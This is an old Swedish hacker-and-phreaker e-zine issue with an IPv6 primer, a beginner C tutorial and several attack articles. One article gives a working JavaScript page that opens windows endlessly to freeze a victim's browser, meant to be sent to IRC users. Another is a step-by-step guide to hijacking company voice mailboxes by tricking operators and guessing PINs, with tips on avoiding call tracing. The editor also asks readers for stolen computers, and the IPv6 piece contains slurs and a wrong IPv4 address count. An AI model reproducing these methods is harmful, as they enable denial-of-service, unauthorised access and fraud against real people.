605 lines
24 KiB
Plaintext
605 lines
24 KiB
Plaintext
Jasså, nu är jag här igen!
|
|
|
|
zaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0x
|
|
zaph0xzaph0--------------aph0xzaph----------------ph0x----------0x
|
|
zaph0xzaph----------------ph0xzap----------------aph0-----------0x
|
|
zaph0xzap------h0xzap------h0xza------ph0xzaph0xzaph------0-----0x
|
|
zaph0xza------ph0xza------ph0xz------aph0xzaph0xzap------h0-----0x
|
|
zaph0xz------------------aph0x--------------ph0xza------ph0-----0x
|
|
zaph0x------------------zaph0--------------aph0xz------aph0-----0x
|
|
zaph0------xzaph0xzaph0xzaph------0xzaph0xzaph0x----------------0x
|
|
zaph------0xzaph0xzaph0xzap------h0xzaph0xzaph0-----------------0x
|
|
zap------h0xzaph0xzaph0xza------ph0xzaph0xzaph------0xzaph0-----0x
|
|
za------ph0xzaph0xzaph0xz------aph0xzaph0xzap------h0xzaph0-----0x
|
|
z------aph0xzaph0xzaph0x------zaph0xzaph0xza------ph0xzaph0-----0x
|
|
zaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0xzaph0x
|
|
|
|
Ascii är gjord av |sagn| (han går under många nick) {webmaster@grundsund.nu}
|
|
-------------------------------------------------------------------------------
|
|
-{Innehåll}-
|
|
|
|
1. Ledare
|
|
|
|
2. Disclaimer
|
|
|
|
3. Introduktion till IPv6
|
|
|
|
4. Enkel HTML-flood
|
|
|
|
5. c/c++ kurs [2av3]
|
|
|
|
6. Hur du scannar 020
|
|
|
|
7. VoiceMailBox (VMB)
|
|
|
|
8. Avslutningen
|
|
|
|
Vill du börja prenumerera? Skicka ett mail till PFA@marijuana.com
|
|
--------------------------------------------------------------------------------
|
|
-{Ledare}-
|
|
|
|
Välkommna till ännu ett nytt nummer av PFA. Det var ungefär en månad sen sist.
|
|
Då var det inget större nummer, det var en jul-utgåva som jag hoppas att ni
|
|
tyckte om det.
|
|
|
|
Under den senaste tiden har det hänt mycket inom Zines-världen.
|
|
Zitech har lagt av med underground och lagt ner SZineworld. Detta är mycket synd
|
|
och vi alla saknar han. Men frågan är den varför han har lagt av med det? Detta
|
|
ska jag försöka ta reda på tills nästa nummer. Men det cirkulerar så många rykten
|
|
så att jag inte tänker skriva nått om det i detta nummret mer än detta. Så håll ut
|
|
tills nästa nummer kommer.
|
|
Men footek har _lovat_ att göra en mindre version av SZineWorld, och det är ett bra
|
|
beslut. Så om ni vill ha upp mitt zine där får ni maila till c_o_d_ och säga till
|
|
han att PFA borde vara med på deras sida. c.o.d@mindless.com [MAILA NU!]
|
|
|
|
Jag är även desperat efter en ny dator så om ni eller någon som ni känner säljer
|
|
stöldgods så kontakta mig =).
|
|
|
|
Allt för denna ledaren
|
|
|
|
zaph0x zaph0x@linux.nu
|
|
---------------------------------------------------------------------------------
|
|
-{Disclaimer}-
|
|
|
|
Allt du ser och läser i denna filen är endast skrivet i informationssyfte, jag
|
|
avsäger mig allt ansvar för allt som ni kommer att göra efter att ha läst denna
|
|
filen. Allt som skrivs går under journalist-lagen. Precis därför kan jag
|
|
(och ev. medarbetare) inte vara skyldig till brott mot PUL (personuppgiftslagen).
|
|
Det är inget brott att inneha, eller att sprida information fritt över internet
|
|
än så länge. Men om ni skulle göra nått som inte är lagligt efter att ha läst
|
|
denna text så kom inte och anklaga mig.
|
|
|
|
/zaph0x zaph0x@linux.nu
|
|
---------------------------------------------------------------------------------
|
|
-{Introduktion till IPv6}-
|
|
|
|
Man tror att dom tillgängliga ip-adresserna i världen kommer att
|
|
ta slut ca år 2005... och när ip-adresserna tar slut så betyder
|
|
det helt enkelt att det inte går att ansluta något, som behöver
|
|
en ip, till internet. Eftersom våra äldre bröder är så pass
|
|
smarta, så har man sedan slutet på 1991 börjat utveckla ett nytt
|
|
sätt som ska klara av att skapa mer ip-adresser i ett nätverk.
|
|
Denna nya standard ska då kunna klara av att dela ut 3,40 x 10^38
|
|
adresser. Detta är betydligt mer än dagens IPv4, som man
|
|
uppskattar ska klara av att dela ut ca 4 x 10^12 adresser.
|
|
Varför nu detta? Räcker inte fyra miljarder ip-adresser till när
|
|
vi är färre människor än så på jorden?
|
|
Nej, det gör inte det. Man kan ju förvisso bortse från alla U-
|
|
länder, för jag kan inte tänka mig att människor som inte har
|
|
mat för dagen sitter med en dator, eller? Vidare kan man räkna
|
|
bort alla infödingar i Afrika, folk över 120(?), och min mongo
|
|
granne i trapphuset brevid. Iaf, detta beror på att utdelningen
|
|
av dessa ip-adresser inte fungerar nå vidare. Det händer (och
|
|
fötter) att stora företag som behöver max 1000 ip-adresser får
|
|
närmare 30 000, beroende vilket sorts nät dom använder. Då är
|
|
det en 29 000 adresser som inte användes, men blir oanvändbara
|
|
ändå. Det nya systemet, IPv6, gör så att man inte behöver spara
|
|
på adresserna... Inte för att dom sparar på dom nu, men ändå.
|
|
Det nya med IPv6 är inte enbart att man får hur jävla många
|
|
miljarder ip-adresser som helst, utan man har även lagt till nya
|
|
saker såsom säkerhetsfunktioner och prioritetsfunktioner. Dessa
|
|
två nya funktioner tänker jag inte gå in mer på i denna enkla
|
|
introduktions txt.
|
|
Det finns tre olika sätt att skriva adresserna som txtsträngar.
|
|
Det första sättet är att skriva ut hela adressen i hexadecimala
|
|
värden, vilket inte är nått större problem. (enkelt att komma ihåg oxå).
|
|
Ex: XXXX:1X1X:111X:111:XXXX:11:1111:1X11
|
|
Andra sättet är komprimerad och inga nollvärden tas med.
|
|
Ex: XX11::111X:11 (dubbla kolon betyder att allt mellan dessa ärnollor).
|
|
Tredje sättet är ifall man måste ha med en IPv4 adress.
|
|
Ex:1:1:1:1:1:1:199.161.122.165
|
|
IPv6 ligger än så länge på ett försöksstadium, och om man vill
|
|
testa kan man smurfa till url'en www.6bone.net som är ett nätverk
|
|
öppet för dom som vill testa den nya standarden. Finns lite annat
|
|
där oxå, som rör IPv6... t ex vilka läner som är med och
|
|
utvecklar mm. Har du linux, som alla elite ppl har, så är det
|
|
bara att fixa en IPv6 adress. Men om du är trogen Windows user så
|
|
får du vänta en stund tills Micro$oft släpper dom tilläggen som
|
|
du behöver för att kunna nyttja IPv6. Till NT så vet jag att dom
|
|
håller på och utvecklar... Men har ingen aning om det oxå kommer
|
|
att finnas till vanliga och tråkiga Win9.x.
|
|
Nästa steg efter 128 blir väll 256 bits ip-adresser osv.
|
|
Jaja, den som lever får se brukar man ju säga...
|
|
|
|
Skriven av: /Hedback
|
|
/team DreamVizion
|
|
---------------------------------------------------------------------------------
|
|
-{Enkel html-flood}-
|
|
Skriven av Blazter
|
|
|
|
Jag har gjort en liten HTML-flood, den är jävligt simpel, men
|
|
extremt effektiv och smidig. Skicka bara över urlen till t ex
|
|
nån som håller på och floodar på IRC och......borta! Det tog
|
|
mindre än en minut att låsa min P2 400 MHz med 128 mb ram! Den
|
|
skulle kunna göras effektivare, men det behövs inte... sen är det
|
|
bra att om man är snabb kan killa browsern.... det klarar ju ändå
|
|
inte en lamer.... och använd bara det här tricket mot folk som
|
|
tigger om det.
|
|
|
|
<HTML>
|
|
<HEAD>
|
|
<TITLE>DIE!</TITLE>
|
|
<SCRIPT LANGUAGE="JavaScript">
|
|
total=0;
|
|
function kill()
|
|
{
|
|
i=0;
|
|
while(i < 1)
|
|
{
|
|
window.open("http://www.hotmale.com");
|
|
}
|
|
}
|
|
</SCRIPT>
|
|
<script language="javascript">
|
|
if (document.layers || document.all)
|
|
{
|
|
a=1;
|
|
setInterval("Jump()",10);
|
|
}
|
|
function Jump()
|
|
{
|
|
a=a+.1;
|
|
self.moveBy((Math.random()*a*200 -a),(Math.random()*a*200)-a);
|
|
}
|
|
</script>
|
|
</HEAD>
|
|
<BODY onload="kill()" BGCOLOR="000000" TEXT="00FF00">
|
|
<h1>Congrationlations you will now have the honour to be killed
|
|
by Blazter of DreamVizion!<br>
|
|
Moahahahahahahahaha!
|
|
</BODY>
|
|
</HTML>
|
|
|
|
Det skulle vara bra att alla som planerar att använda flooden,
|
|
döper den till coolstuffs.html det vore ju onödigt om nån av oss
|
|
skulle råka på den....
|
|
|
|
---------------------------------------------------------------------------------
|
|
-{c/c++}-
|
|
|
|
Här kommer andra delen av c/c++ kursen. Hoppas att ni tyckte den första var bra
|
|
för att om ni gjorde det så kommer ni definitivt att tycka denna är bra =).
|
|
|
|
|
|
=== VÄLKOMMEN TILL r0berts c/c++ KURS, UPPLAGA 2 ===
|
|
|
|
1. Lite vanliga c/c++ 'kommandon'
|
|
2. Lite mer om printf()
|
|
|
|
|
|
|
|
|
|
|
|
=== LITE VANLIGA c/c++ 'KOMMANDON' ===
|
|
|
|
ok...nu ska vi gå igenom en hel del kommandon och liknande grejer som alltid
|
|
är nyttiga att kunna när man programmerar ! =)
|
|
ok, först ska vi snacka om kommandot 'return'
|
|
return (värde) används för att avbryta en funktion och om önskat, returnera ett
|
|
värde...
|
|
om man skriver 'return' i funktionen main, så avslutas programmet....t.ex:
|
|
om man skriver:
|
|
|
|
1. #include <stdio.h>
|
|
2.
|
|
3. void main(void)
|
|
4. {
|
|
5. return;
|
|
6. printf("detta kommer inte att synas");
|
|
7. }
|
|
|
|
ok...som ni kanske ser på en gång så kommer inte printf() funktionen hinna anropas
|
|
för att return; som står på raden innan kommer att avsluta programmet innan
|
|
printf() får en chans... =)
|
|
i våran main funktion som vi skrev nyss kommer inte 'return' att returnera något
|
|
värde, med tanke på att vi 'deklarerade' main att returnera 'void' (dvs inget)
|
|
hade vi deklarerat main() till att returnera ett värde av typen 'int':
|
|
int main(void)
|
|
så hade vi kunna skriva t.ex:
|
|
|
|
1. #include <stdio.h>
|
|
2.
|
|
3. int main(void)
|
|
4. {
|
|
5. return (5);
|
|
6. }
|
|
|
|
nu skulle main returnera värdet 5 när det avslutas.........detta kan användas
|
|
i .bat filer (if errorlevel == 5 format c:) hehe..
|
|
tänk inte för mycket på det dära nu.....skulle bara demonstrera 'return' lite.
|
|
|
|
ok, vad finns det mer för 'roliga' 'kommandon' att ta en titt på ?
|
|
jo, först och främst måste jag medge en sak......dom flesta 'kommandona' är
|
|
till för att deklararera olika skumma variablar....dessa 'kommandon' kallas
|
|
även 'keywords' eller 'type modifiers' ... om ni minns från förra upplagan
|
|
så skrev vi juh 'unsigned' och 'short' osv....dessa är s.k 'type modifiers'
|
|
det finns hur många somhelst...och det skulle vara onödigt att gå in för långt på
|
|
dem nu =)
|
|
men istället kan vi snacka lite mer allmänt om hur man med olika tekniker kan
|
|
tilldela värden till variablar =)
|
|
låt oss säga att du vill deklarera 3st variablar av typen 'int'
|
|
då skulle vi kunna skriva:
|
|
int ett;
|
|
int två;
|
|
int tre;
|
|
men som tur är finns det ett lättare sätt, nämligen att bara skriva en enda rad:
|
|
int ett, två, tre;
|
|
whiipss så har vi 3st olika int variablar.. =)
|
|
men om man vill deklarera 3st variablar och ge alla ett värde skulle man skriva:
|
|
int ett = 2;
|
|
int två = 4;
|
|
int tre = 6;
|
|
|
|
hur kan man göra detta lättare då ?? =)
|
|
|
|
t.ex såhär:
|
|
int ett = 6, två = 4, tre = 6;
|
|
|
|
du hajar va ??
|
|
det enda du behöver göra att först skriva 'typen' (t.ex: int) och sedan bara
|
|
ange variabelnamn, och ge det ett värde, och sedan skriva ett 'komma' (,)
|
|
och avsluta med ett 'kolon' (;)
|
|
|
|
men tänk om man vill skapa 3st variablar av samma typ, men bara ge 2st av dem
|
|
ett värde:
|
|
detta skulle kunna göras på flera sätt.... t.ex:
|
|
|
|
int ett = 4;
|
|
int två = 7;
|
|
int tre;
|
|
|
|
eller:
|
|
int ett = 4, två = 7;
|
|
int tre;
|
|
|
|
men....som lyckligtvis är så kan man skriva allt på en enda rad: =)
|
|
int ett = 4,två = 7,tre;
|
|
|
|
alla exempel där jag skrivit flera stycken variablar på en rad fungerar bara
|
|
om alla variablar ska vara av samma typ...
|
|
t.ex detta fungerar INTE:
|
|
int siffra = 7, tecken = "C";
|
|
|
|
nu skulle din compiler ge ett errormeddelande och säga att det inte går att
|
|
tilldela ett 'tecken-värde' till en 'int' variabel.... =)
|
|
|
|
hajar du ? (hoppas det....hittade inget smartare sätt att förklara på :( )
|
|
|
|
|
|
ok...allt ovan handlade om DEKLARATIONER.
|
|
när man väl har deklarerat en variabel kan man använda den igen ! =)
|
|
|
|
t.ex:
|
|
1. #include <stdio.h>
|
|
2.
|
|
3. void main(void)
|
|
4. {
|
|
5. int x = 7;
|
|
6.
|
|
7. x = 9;
|
|
8. x = x + 5;
|
|
9. }
|
|
|
|
ok...först och främst....detta program kommer INTE att skriva ut något på
|
|
skärmen.
|
|
|
|
på rad 5. DEKLARERAR vi en variabel av typen 'int' och tilldelar den värdet 7
|
|
på rad 7. tilldelar vi variabeln ett nytt värde..nämligen 9
|
|
på rad 8. tilldelar vi variabeln ännu ett nytt värde,
|
|
som består av x (för tillfället 9) + 5 ...dvs 9 + 5 = 14
|
|
så x får nu värdet 14...
|
|
|
|
när man tilldelar värden i c/c++ så finns det alltid en regel att följa !
|
|
det som står om höger om 'likamedtecknet' tilldelas till variabeln som står
|
|
till vänster om 'likamedtecknet'
|
|
dvs att om man skriver
|
|
19 = x;
|
|
så blir det MEGAERROR för att man kan juh inte ändra värdet av 19....19 är juh
|
|
alltid 19...
|
|
däremot kan man alltid skriva:
|
|
x = 19;
|
|
för att så länge x är en variabel av typen 'int' så kan den hålla ett siffer
|
|
värde...som i det här fallet är 19...
|
|
|
|
man kan inte heller skriva flera variablar till vänster om likamedtecknet t.ex:
|
|
x + y = 19..
|
|
för att detta är en ekvation....och detta kan inte lösas.....
|
|
|
|
om man däremot vill ge samma värde till flera variablar (av samma typ)
|
|
så kan man skriva
|
|
x = y = 19;
|
|
ok nu skulle både x och y få värdet 19....
|
|
eller ja, först skulle y få värdet 19
|
|
y = 19;
|
|
och sedan skulle x få värdet av y
|
|
x = y
|
|
dvs att båda ändå skulle få 19...
|
|
|
|
nu tycker jag att vi ska gå vidare och lära oss mera om printf() !
|
|
|
|
|
|
|
|
=== LITE MER OM printf() ===
|
|
|
|
alla exempel som följer i detta 'kapitel' måste ha stdio.h #includerat...
|
|
|
|
#include <stdio.h>
|
|
|
|
hehe..
|
|
|
|
ok..printf() är ett måste att förstå för alla c/c++ programmerare...
|
|
även om man inte behöver använda printf() när man programmerar med c++
|
|
så är säkert 70-80% av alla program och tutorials ni kan hitta på nätet gjorde med
|
|
printf().
|
|
printf() är till för att skriva ut text på skärmen.
|
|
den kan skriva ut innehållet ur variablar, eller skriva ut text som du själv
|
|
skriver....eller blanda bådeoch.........dessa möjligheter gör printf() till
|
|
det ultimata test-verktyget...med tanke på att den kan skriva ut vad du har satt in i
|
|
dina variablar.......perfekt för felsökning.....t.ex om du har gjort ett
|
|
komplicerat program som löser något skumt matematiskt problem, och något går fel
|
|
så kan du testa att lägga till printf() kommandon som skriver ut alla dina
|
|
variablar på skärmen så att du direkt kan se om du kan hitta felet i någon
|
|
av variablarna =)
|
|
jaja....nu ska vi gå till den praktiska delen =)
|
|
ok....printf() kan ta emot hur många parametrar somhelst...typ.. =)
|
|
men den första är alltid en text-sträng ! =)
|
|
|
|
t.ex: printf("it-gymnasiets bästa quake-clan är VAM");
|
|
|
|
men på det här sättet kan du inte skriva ut några variablar..
|
|
|
|
anta att man vill skriva ut en variabel av typen int, då får man skriva
|
|
t.ex:
|
|
|
|
int hehe = 100;
|
|
|
|
printf("%d",hehe);
|
|
|
|
nu kommer printf() att skriva ut siffran 100 på din skärm =)
|
|
men varför skriver man %d i text-strängen.......jo....för att det hjälper
|
|
printf() att förstå att det kommer att stå en int variabel dära...
|
|
och sedan som andra parameter skrev vi "hehe" ...
|
|
ok.....anta att vi vill skriva först massa text, och sedan mitt i texten skriva
|
|
värdet på en variabel...och sedan lite mera text..........vad skriver man då ??
|
|
|
|
jo...vi skriver:
|
|
|
|
int hoho = 82;
|
|
|
|
printf("Året 19%d föddes Kung r0bert",hoho);
|
|
|
|
på din skärm kommer nu printf() att skriva:
|
|
Året 1993 föddes kung r0bert
|
|
|
|
hajar ni ?? hoppas det...annars e det bara att komma över till mig,...sitter
|
|
på dator53 i grupp D... =)
|
|
|
|
ok....hur skriver man ut flera variablar ????
|
|
jo....på detta sätt =) :
|
|
|
|
int ett = 5;
|
|
int två = 4;
|
|
int tre = 1;
|
|
|
|
printf("One %d Two %d Three %d",ett,två,tre);
|
|
|
|
nu är det bara att lägga till flera "%d" och flera parametrar ,ett,två,tre...
|
|
där det står %d första gången kommer den första parameterns värde att hamna (i det här fallet "ett")
|
|
och nästa blir nästa...osv....från höger till vänster alltså =))
|
|
|
|
ok...men hur gör man en radbrytning då ???
|
|
enkelt ! =)
|
|
|
|
int df = 454;
|
|
int sdf = 23;
|
|
|
|
printf("%d%d\n",df,sdf);
|
|
|
|
hehe....en radbrytning gör man med "\n" varsomhelst i strängen... =)
|
|
|
|
ok, om man vill skriva ut andra sorts variablar än typen 'int' ????
|
|
|
|
då är det bara att ändra bokstav framför %-tecknet.....
|
|
för int är det 'd' (%d)
|
|
|
|
om man vill skriva ut ett heltal i dess oktava eller hexadecimala värde är det
|
|
bara att skriva %o eller %x (%X med stor bokstav om man vill att den ska skriva stora bokstäver)
|
|
|
|
t.ex:
|
|
|
|
int tal = 255;
|
|
|
|
printf("the number %d is %o in the octal system\n",tal,tal);
|
|
printf("the number %d is %x in the hexadecimal system\n",tal,tal);
|
|
printf("the number %d is %X in the hexadecimal system",tal,tal);
|
|
|
|
printf() kommer nu att skriva ut:
|
|
|
|
the number 255 is 377 in the octal system
|
|
the number 255 is ff in the hexadecimal system
|
|
the number 255 is FF in the hexadecimal system
|
|
|
|
lägg märke till hur jag använder \n för att hoppa till nästa rad och att det
|
|
är skillnad på %x och %X =)
|
|
|
|
om man vill skriva ut 'unsigned int' så skriver man %u:
|
|
|
|
unsigned int hm = -13;
|
|
|
|
printf("%u",hm);
|
|
|
|
|
|
om man vill skriva ut variablar av typen 'long int' så skriver man %ld
|
|
|
|
t.ex:
|
|
|
|
long int flip = 999999;
|
|
|
|
printf("%ld",flip);
|
|
|
|
hehe
|
|
|
|
|
|
för float skriver man %f
|
|
|
|
om du vill skriva ut en variabel som innehåller en exponent så skriver du %e
|
|
|
|
om du vill skriva ut variablar som du inte vet om dom innehåller en exponent
|
|
eller inte så kan du skriva %g
|
|
|
|
Skriven av r0bert. Om ni vill kontakta han joina #theNetw0rk @ EFnet
|
|
---------------------------------------------------------------------------------
|
|
-{020 scanning}-
|
|
|
|
I denna text ska jag gå igenom 020 scanning ganska lätt (alltså
|
|
inte allt för invecklat). Okay, lets get started.
|
|
|
|
Det du gör när du 020 scannar är att du ringer upp olika 020
|
|
nummer[1] och kolla va de har för mottagare[2].
|
|
Vad ska du välja för nummer?[3]
|
|
|
|
[1]
|
|
När du ringer 020 nummer så skall du göra det systematiskt,
|
|
alltså börjar du på 020-170000 och scannar så långt du vill
|
|
alltså typ till 020-180000. Då har du 10000 nummer att scanna,
|
|
där kan du sitta och scanna ett tag =)
|
|
|
|
När du scannar dem så kan du antingen sitta och ringa upp nummren
|
|
för hand, detta är det bästa men jobbigaste sättet. När du ringer
|
|
upp nummret och det svarar så skriver du upp vad det är som svarar
|
|
om det är en VMB, eller om det är en människa eller telefonsvarare etc.
|
|
Sen när du är klar så har du en fin lista som du kan sprida och ringa
|
|
till, på det här sättet får du fram använbara 020 nummer.
|
|
|
|
När du ringer 020 nummer så spelar det ingen större roll om du är
|
|
anonym eller inte, alltså kan du sitta hemma och ringa från din telefon
|
|
och titta på TeVe samtidigt så blir det inte så långtråkigt.
|
|
|
|
[2]
|
|
När du har ringt klart allting som du har besämt dig för att ringa så
|
|
borde du ha en lång och läsbar lista över vad det var för någonting som
|
|
svarade på andra sidan linjen. Då är det bara att börja "hacka" de som
|
|
du tycker att du har användning av.
|
|
|
|
[3]
|
|
|
|
020-79XXXX är de nummren som är innehållsrikast på olika saker som är bra
|
|
för oss phreakers. Så jag rekommenderar dig att börja med att scanna de
|
|
nummren. Många utav de nummren går utomlands, så det kan även vara kul att
|
|
driva lite med den som svarar på andra sidan kusten.
|
|
|
|
/zaph0x zaph0x@linux.nu
|
|
---------------------------------------------------------------------------------
|
|
-{VMB}-
|
|
|
|
I denna texten går jag igenom vad en VMB är för något. Läs och lär.
|
|
|
|
--{ LÄS HELA TEXTEN INNAN DU GÖR NÅGOT!! }--
|
|
VMB betyder som sagt Voice Mail Box och det är en slags telefonsvarare som
|
|
brukar användas på större företag så att kunderna kan prata in meddelanden
|
|
till de som jobbar där. I denna texten tänkte jag mest gå igenom hur du
|
|
hackar den.
|
|
|
|
Det första du skall göra är att leta fram ett nummer till en VMB. Det gör
|
|
du lättast genom 020 scanning. På nummren 020-79XXXX finns det väldigt
|
|
många VMB's. Så där rekommenderar jag dig att scanna. I alla fall, när du
|
|
har hittat en VMB så ringer du upp den. Det brukar vara en "personlig" röst
|
|
som svarar. Rösten brukar presentera vilket företag du har nått och oftast
|
|
hur du ska göra för att prata in ett meddelande och för att logga in på din
|
|
VMB. Men det är inte meddelanden vi ska prata in. Vi ska ta över "boxen".
|
|
Som man lättast gör genom att ta reda på ett login-nummer till "boxen". Det
|
|
finns flera olika sätt att göra det, Social Engineering är ett, ett annat är
|
|
att gissa dig fram till nummret (lite jobbigare, men kan funka bättre). Om du
|
|
ska använda dig av Social Engineering så skall du ta kontakt med operatören
|
|
och säga att du heter Anderson eller ett vanligt efternamn i Staterna, men du
|
|
har inget förnamn så då gör vi om det =). Ring upp igen och få fram operatören
|
|
och säg att du har glömt nummret till din "handledare" och säg att efternamnet
|
|
är Andersson men att du inte vet förnamnet. Nu börjar säkert operatören att
|
|
räkna upp massa namn om du låter trovärdig (som du ska göra). Sen har du ett
|
|
namn så är det bara att lägga på och ringa upp igen. Koppla fram dig till
|
|
operatören och säg att du heter XXXXXXX Anderson och att du har glömt av ditt
|
|
inlognings-nummer. Förhoppningsvis får du nu detta och kan gå vidare.
|
|
|
|
När du har ett inloggnings-nummer så gör du som rösten i början eller operatören
|
|
säger för att logga in. Väl där ska man slå in en kod, eftersom att du inte vet
|
|
hur lång den koden skall vara MEN nu ska du få lära dig hur du tar reda på det.
|
|
När du slår in koden så ska du slå siffrorna sakta. Och efter ungefär fyra (det
|
|
brukar vara standard men det kan vara mer eller mindre) så "knäpper" det till
|
|
eller så säger en röst att koden var felaktigt. I vissa fall så funkar inte denna
|
|
tekniken eftersom att man ibland måste man avsluta koden med en # eller en *.
|
|
Då får du testa dig fram, 1#, 1*, 2#, 2*, etc. Sen säger rösten att det var en
|
|
felaktig kod, då har du hur många siffror koden är på. Sen är det bara att försöka
|
|
knäcka den, då kan du antingen sitta och slåolika nummer-kombinationer (1111, 0000,
|
|
1234, 4321, 1000 etc.) eller så skaffar du en VMB-hacker (till dator) och sätter
|
|
den på att ringa upp din VMB och försöka knäcka koden. Om du har otur så kopplas
|
|
du till operatören efter tre försök och då är det ganska irreterande efter ett tag.
|
|
Så då rekommenderar jag att du tar och försöker på en annan VMB.
|
|
|
|
När du väl är inne i VMBn så ska du byta pass-nummer och kolla runt lite, typ
|
|
lyssna på alla meddelanden och ha kul. Ändra sedan välkomstmeddelnadet för din
|
|
nya VMB. Sen sprider du nummret till alla dina evil hacker\phreaker polare och
|
|
låter dem ringa till dig. Sen kan du ju också få in meddelanden från andra som
|
|
ringer till den "riktiga" ägaren. Det är kul att lyssna på =) tro mig. Du kan ju
|
|
även sätta upp en telefonkonferans (om det går).
|
|
|
|
Tänk på det att försök till att hacka och även lyckade försök att hacka en VMB är
|
|
olagliga, så var anonym när du ringer. Använd helst inte #31# eftersom att det då
|
|
bara är att ringa till Telia så får man lätt reda på vilket nummer du ringer från.
|
|
Det jag rekommendar dig att göra är att gå och ställa dig i en telefonautomat efter-
|
|
som att det är 020 nummer du ringer till så är det lugnt. Annars kan du göra detta
|
|
när du är ute och Beige-boxar (fast då vill man ju göra andra saker)
|
|
|
|
/zaph0x zaph0x@linux.nu
|
|
---------------------------------------------------------------------------------
|
|
-{Avslutningen}-
|
|
|
|
jaha, då var det slut på detta nummret. Om ni inte gillade innehållet så får ni ta
|
|
och knappra ihop en egen artikel och maila den till pfa@marijauna.com.
|
|
|
|
Jag hoppas också att ni sprider detta zine till alla ni vet och känner, som sagt är
|
|
det inte lika lätt att sprida zinet nu längre. Men det förlorar inte kvalitet för
|
|
det, däremot kanske det blir bättre =). Jag hoppas på det i alla fall. Men ni som är
|
|
kvar och förblir kvar skall i alla fall få mängder med nummer till, jag slutar inte
|
|
skriva föränns jag inte orkar mer, även om min energi kanske går ner ibland, men den
|
|
kommer tillbaks. Och det har jag er att tacka för.
|
|
|
|
i detta nummret var det även två andra artiklar med, de kom från DreamVizion. Det var
|
|
tänkt att vi skulle ha ett samarbete, men tyvärr så blev det inget med det, men jag har
|
|
ändå ett par killar där som skriver ett par artiklar i månaden till mig och det är jag
|
|
inte lessen för, det blir bara mer för er att läsa.
|
|
|
|
Här finns alla nummer av PFA
|
|
|
|
http://www.zaph0x.com (kommer upp snart)
|
|
http://hem.fyristorg.com/progz/ (Min gamla hemsida, inte värd ett besök)
|
|
|
|
Om ni vill lägga upp alla zines på eran hemsida är det bara att göra det och maila
|
|
URL'en till mig så får ni lite gratisreklam för eran sida också =).
|
|
|
|
Jag säger bara detta en gång till:
|
|
Tycker du att zinet suger? Skriv då en egen artikel och skicka den till pfa@marijuana.com.
|
|
|
|
Vet du nån som kan fixxa billiga datorer eller liknande till mig? maila mig på
|
|
zaph0x@linux.nu.
|
|
|
|
Over And Out! |